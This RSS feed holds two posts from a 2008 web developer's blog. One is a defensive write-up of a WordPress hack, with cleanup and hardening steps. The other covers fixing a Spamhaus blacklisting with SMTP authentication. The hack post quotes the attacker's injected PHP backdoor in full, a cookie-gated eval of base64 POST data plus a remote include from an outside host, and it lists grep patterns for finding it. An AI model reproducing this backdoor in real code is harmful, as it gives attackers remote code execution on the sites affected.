<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Steve Taylor &#187; spam</title>
	<atom:link href="http://sltaylor.co.uk/blog/category/spam/feed/" rel="self" type="application/rss+xml" />
	<link>http://sltaylor.co.uk</link>
	<description>Web development, design and more</description>
	<pubDate>Sun, 01 Jun 2008 17:41:07 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>WordPress security</title>
		<link>http://sltaylor.co.uk/blog/2008/04/wordpress-security/</link>
		<comments>http://sltaylor.co.uk/blog/2008/04/wordpress-security/#comments</comments>
		<pubDate>Sat, 19 Apr 2008 18:17:06 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
		
		<category><![CDATA[security]]></category>

		<category><![CDATA[spam]]></category>

		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/?p=29</guid>
		<description><![CDATA[My server was recently subject to a hack attack. In some senses it was pretty serious&#8212;many new files containing malicious code, many altered files, new bogus admin accounts in WordPress. But in the end it seems I lost no data, and none of my sites got injected with spam links (which I gather was the [...]]]></description>
			<content:encoded><![CDATA[<p>My server was recently subject to a hack attack. In some senses it was pretty serious&#8212;many new files containing malicious code, many altered files, new bogus admin accounts in WordPress. But in the end it seems I lost no data, and none of my sites got injected with spam links (which I gather was the intent of the hack).</p>
<p>Needless to say, I&#8217;ve been forced to quickly learn a lot about web security, and I&#8217;ve been grateful to be forced to do so without major losses. I&#8217;ll try and document some useful things I&#8217;ve learned here.</p>
<h2>The hack</h2>
<p>I&#8217;m not sure anyone&#8217;s come up with a catchy name for the specific attack I suffered, but it was directed at WordPress installations.</p>
<p>With the recent release of <a href="http://wordpress.org/development/2008/03/wordpress-25-brecker/">WP 2.5</a>, there have been some <a href="http://dougal.gunters.org/blog/2008/04/08/upgrade-or-else">sharp warnings</a> about upgrading. I thought I would hold off for 2.5.1. I also thought that for the few friends who have WP installations on my server, it was their choice and their risk whether they wanted to upgrade or not.</p>
<p>In the end, <em>all</em> my WP installations were compromised. I think what happened is that earlier (2.1.x) installations got compromised, and because I&#8217;ve been ignorant enough to have all installations connect to their database with the same login, even my test 2.5 installations (which are blocked from public access by <code>.htaccess</code> logins) were compromised. In any case, the lesson here is clear: <em>keep all WP installations on any server you run upgraded to the latest version</em>.</p>
<p>The signs of the attack are quite distinct. It&#8217;s documented <a href="http://wordpress.org/support/topic/168964">on the WP forum</a> and by <a href="http://wordpressphilippines.org/blog/has-your-wordpress-been-hacked-recently/">other people</a>. Here&#8217;s my summary of my experience:</p>
<ul>
<li>New files started appearing around April 11th 2008, seemingly always based on file or directories names in the same directory. So, in a directory with a file called <code>taxonomy.php</code>, there might be a new file called <code>taxonomy_old.php</code> or <code>taxonomy_new.php</code>. Other common new names included image-like extensions, e.g. <code>crop.php.pngg</code> or <code>wlw_old.php.giff</code>.</li>
<li>The main WP <code>index.php</code> changed to look like this:<br />
<blockquote class="code"><p>&lt;?php if(md5($_COOKIE['_wp_debugger'])==<br />
&quot;[long hash string here]&quot;){ eval(base64_decode($_POST['file'])); exit; } ?&gt;&lt;?php<br />
/* Short and sweet */<br />
if (isset($_GET['license'])) {<br />
	@include(&#8217;http://wordpress.net.in/license.txt&#8217;);<br />
} else {<br />
	define(&#8217;WP_USE_THEMES&#8217;, true);<br />
	require(&#8217;./wp-blog-header.php&#8217;);<br />
}<br />
?&gt;</p>
</blockquote>
</li>
<li>That top line of PHP code was inserted into many other files.</li>
<li>A new user account could be found in the <code>wp_user</code> table, username &#8220;WordPress&#8221;. Apparently it doesn&#8217;t show up in the WP admin screen&#8212;check the database using phpMyAdmin. There were also corresponding entries, granting admin priveleges, in <code>wp_usermeta</code>, along with other entries that didn&#8217;t have a corresponding account in <code>wp_user</code>.</li>
<li>In pre-2.5 installations, the version number at the bottom of the admin screen had been changed to 2.5.</li>
</ul>
<p>Apparently another common sign of this attack is the appearance of files named <code>wp-info.txt</code> (containing passwords and so on that have been discovered by the above scripts). I didn&#8217;t get this, but watch for this too.</p>
<h2>Cleaning up</h2>
<ol>
<li>First, using phpMyAdmin, delete the &#8220;WordPress&#8221; entry from <code>wp_user</code> and its corresponding entries in <code>wp_usermeta</code>. Also delete all entries in <code>wp_usermeta</code> where the <code>user_id</code> value doesn&#8217;t correspond to a legitimate account in <code>wp_user</code>.</li>
<li>SSH into your server and search for offending code. I found the following commands useful:<br />
<blockquote class="code"><p>grep &#8211;recursive &#8220;eval(base64_decode($_POST['file']));&#8221; *</p>
</blockquote>
<blockquote class="code"><p>grep &#8211;recursive &#8220;http://wordpress.net.in/license.txt&#8221; *</p>
</blockquote>
<blockquote class="code"><p>grep &#8211;recursive &#8220;find suid files&#8221; *</p>
</blockquote>
<p>These search all files (<code>*</code>) in all sub-directories (<code>--recursive</code>, with two dashes&#8212;WordPress is converting the double dashes above into en dashes!) for the hack code strings. The first two are included into existing files; the last search is for a string that seems to occur in all new files. Obviously, adjust for the situation you discover on your server. <a href="http://wordpress.org/support/topic/168964#post-737989">This guy</a> has some other goodies.</p>
<li>Remove all offending files, via FTP or SSH (see above link).</li>
</li>
</ol>
<h2>Securing WordPress</h2>
<p>Obviously, upgrade all installations to <a href="http://wordpress.org/download/">the latest version</a>. This might make the last step redundant, but of course you should preserve your <code>wp-content</code> directory (while thoroughly scanning those files for hacked code).</p>
<p>Then do the following:</p>
<ol>
<li>With all of the following, use <a href="https://www.grc.com/passwords.htm">strong random passwords</a>. Of course they needn&#8217;t be as long as the ones on the page I&#8217;ve linked to, but it&#8217;s a good place to grab however many characters you need.</li>
<li>Try to get all WP installations connecting to their data via separate database user accounts. Change all database account passwords.</li>
<li>Change the default admin account username in all WP installations to something other than &#8220;admin&#8221;. You&#8217;ll need to do this via phpMyAdmin&#8212;change the <code>user_login</code> field.</li>
<li>Change all WP user account passwords.</li>
<li>Heck, change any other passwords too (like FTP).</li>
<li>Change the default <code>wp_</code> prefix for WordPress tables. The option to alter this is usually thought of as a way of installing multiple WP&#8217;s in the same database. That&#8217;s possible (but not ideal). Really, the main benefit is so hackers don&#8217;t know what your database tables are called. <a href="http://www.richardsramblings.com/2008/02/06/changing-your-wordpress-table-prefix/">Richard LeCour</a> has a good guide to this, and there&#8217;s even <a href="http://blogsecurity.net/wordpress/tool-130707/">a plugin</a>. Here&#8217;s my summary of the manual method:
<ol>
<li>Change value of the <code>$table_prefix</code> variable in <code>wp-config.php</code>. I use a string of 5 or so characters from <a href="https://www.grc.com/passwords.htm">the password page</a>.</li>
<li>In phpMyAdmin, on the main page for the database in question, click the &#8216;SQL&#8217; tab. Use the following code to change the table names. (Obviously adjust for any other <code>wp_</code>-prefixed tables, e.g. tables created by various plugins.)<br />
<blockquote class="code"><p>RENAME TABLE wp_comments TO [your prefix here]_comments;<br />
RENAME TABLE wp_links TO [your prefix here]_links;<br />
RENAME TABLE wp_options TO [your prefix here]_options;<br />
RENAME TABLE wp_postmeta TO [your prefix here]_postmeta;<br />
RENAME TABLE wp_posts TO [your prefix here]_posts;<br />
RENAME TABLE wp_terms TO [your prefix here]_terms;<br />
RENAME TABLE wp_term_relationships TO [your prefix here]_term_relationships;<br />
RENAME TABLE wp_term_taxonomy TO [your prefix here]_term_taxonomy;<br />
RENAME TABLE wp_usermeta TO [your prefix here]_usermeta;<br />
RENAME TABLE wp_users TO [your prefix here]_users;</p>
</blockquote>
<p>Note: I&#8217;ve sometimes put SQL queries in my custom themes code. I used to have the bad habit of referencing WP tables directly, e.g. <code>wp_posts</code>. You&#8217;ll need to change any instances of the same habit in your code using <code>$wpdb->prefix</code>. For instance, this:</p>
<blockquote class="code"><p>$sql = &#8220;SELECT ID, post_title FROM wp_posts WHERE post_status = &#8216;publish&#8217;&#8221;;</p>
</blockquote>
<p>Should become:</p>
<blockquote class="code"><p>$sql = &#8220;SELECT ID, post_title FROM &#8220;.$wpdb->prefix.&#8221;posts WHERE post_status = &#8216;publish&#8217;&#8221;;</p>
</blockquote>
<p>Most plugins use this to remain portable, but you might want to search your plugins for hard-coded <code>wp_</code>&#8217;s too.
</li>
<li>In the <code>options</code> table, change the <code>option_name</code> called <code>wp_user_roles</code> to have your new prefix instead of <code>wp_</code>.</li>
<li>Likewise for all <code>meta_key</code> values in the <code>usermeta</code> table that start with <code>wp_</code>.</li>
</ol>
</li>
<li>Finally, re-do the <code>grep</code> SSH searches for hacked files, and check the database for mystery user accounts. I missed some stuff first time and had hack symptoms popping up even during the process of upgrading and securing WordPress. Do a final pass to make sure.</li>
</ol>
<p>My server&#8217;s been fine since doing all these things (though I&#8217;m touching wood now). Hopefully this&#8217;ll help you cope with it if you get the same attack, and help keep WordPress secure in the future.</p>
<p>Here&#8217;s some more resources on WordPress that I&#8217;m still absorbing:</p>
<ul>
<li><a href="http://codex.wordpress.org/Hardening_WordPress">Hardening WordPress</a></li>
<li><a href="http://blogsecurity.net/wordpress/">BlogSecurity.net: WordPress</a> (see especially their <a href="http://blogsecurity.net/wordpress/wordpress-security-whitepaper/">WordPress Security Whitepaper</a>)</li>
</ul>
<h2>WordPress 2.5</h2>
<p>I&#8217;m really pleased with the new version of WordPress&#8212;great interface improvements, and it seems much nippier. However, I thought a curious new addition to the <code>wp-config.php</code> file could have done with some documentation, or some attention drawn to it. You&#8217;ll find this in 2.5&#8217;s new file:</p>
<blockquote class="code"><p>// Change SECRET_KEY to a unique phrase.  You won&#8217;t have to remember it later,<br />
// so make it long and complicated.  You can visit https://www.grc.com/passwords.htm<br />
// to get a phrase generated for you, or just make something up.<br />
define(&#8217;SECRET_KEY&#8217;, &#8216;put your unique phrase here&#8217;); // Change this to a unique phrase.</p>
</blockquote>
<p>Some people have missed this, apparently exposing themselves to <a href="http://blogsecurity.net/wordpress/wordpress-25-secret_key-vulnerability/">the one 2.5 vulnerability I&#8217;ve heard of so far</a>. The long and the short is, check that faithful passwords page out again! And put a big long string of random characters in there.</p>
<p>One more non-security note about the new <code>wp-config.php</code> file. If you upgrade to 2.5 and find your blog content&#8217;s got loads of garbled characters in it, the culprit is probably this new line:</p>
<blockquote class="code"><p>define(&#8217;DB_CHARSET&#8217;, &#8216;utf8&#8242;);</p>
</blockquote>
<p>Comment it out like this:</p>
<blockquote class="code"><p>//define(&#8217;DB_CHARSET&#8217;, &#8216;utf8&#8242;);</p>
</blockquote>
<p>Good luck!</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/2008/04/wordpress-security/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Spamhaus.org and SMTP authentication</title>
		<link>http://sltaylor.co.uk/blog/2007/06/spamhausorg-and-smtp-authentication/</link>
		<comments>http://sltaylor.co.uk/blog/2007/06/spamhausorg-and-smtp-authentication/#comments</comments>
		<pubDate>Mon, 11 Jun 2007 21:28:15 +0000</pubDate>
		<dc:creator>Steve Taylor</dc:creator>
		
		<category><![CDATA[coldfusion]]></category>

		<category><![CDATA[email]]></category>

		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://sltaylor.co.uk/blog/2007/06/spamhausorg-and-smtp-authentication/</guid>
		<description><![CDATA[Just solved a pesky email problem that was really vexing.
Sending email from my localhost web server (usually via ColdFusion apps), for testing and other purposes, has always worked swimmingly. Recently, however, emails sometimes didn&#8217;t send. A glance at my ColdFusion log files showed the error &#8220;Invalid Addresses&#8221;.
Some addresses from some of my domains have started [...]]]></description>
			<content:encoded><![CDATA[<p>Just solved a pesky email problem that was really vexing.</p>
<p>Sending email from my localhost web server (usually via ColdFusion apps), for testing and other purposes, has always worked swimmingly. Recently, however, emails sometimes didn&#8217;t send. A glance at my ColdFusion log files showed the error &#8220;Invalid Addresses&#8221;.</p>
<p>Some addresses from some of my domains have started to be used extensively for sending spam (by other people!), so I wondered whether I&#8217;d got blacklisted somehow.</p>
<p>A blacklist was involved, but not for addresses. A closer look at the CF error logs showed this:</p>
<blockquote><p>Invalid Addresses; nested exception is: class javax.mail.SendFailedException: 550-xx.xx.xx.xx is listed at zen.spamhaus.org (127.0.0.11: 550 http://www.spamhaus.org/query/bl?ip=xx.xx.xx.xx)</p></blockquote>
<p>The x&#8217;d out bits are my current <a href="http://www.whatismyipaddress.com/">IP address</a>. <a href="http://www.spamhaus.org/">Spamhaus.org</a> seems to be a large spam-fighting clearinghouse, with, among other things, IP blacklists. Looking up my IP address on <a href="http://www.spamhaus.org/lookup.lasso">their database</a> found it listed.</p>
<p><a href="http://www.spamhaus.org/faq/answers.lasso?section=Spamhaus%20PBL#183">The solution</a> is to add SMTP authentication to your outgoing mail script. For ColdFusion, it looks something like this:</p>
<blockquote class="code"><p>
&lt;cfmail to=&#8221;user@domain.com&#8221; from=&#8221;noreply@domain.com&#8221; subject=&#8221;Message subject&#8221; server=&#8221;smtp.domain.com&#8221; username=&#8221;noreply&#8221; password=&#8221;password&#8221;&gt;<br />
&#8230; message &#8230;<br />
&lt;/cfmail&gt;
</p></blockquote>
<p>(Obviously, with suitable bits substituted for your situation&#8230;)</p>
]]></content:encoded>
			<wfw:commentRss>http://sltaylor.co.uk/blog/2007/06/spamhausorg-and-smtp-authentication/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
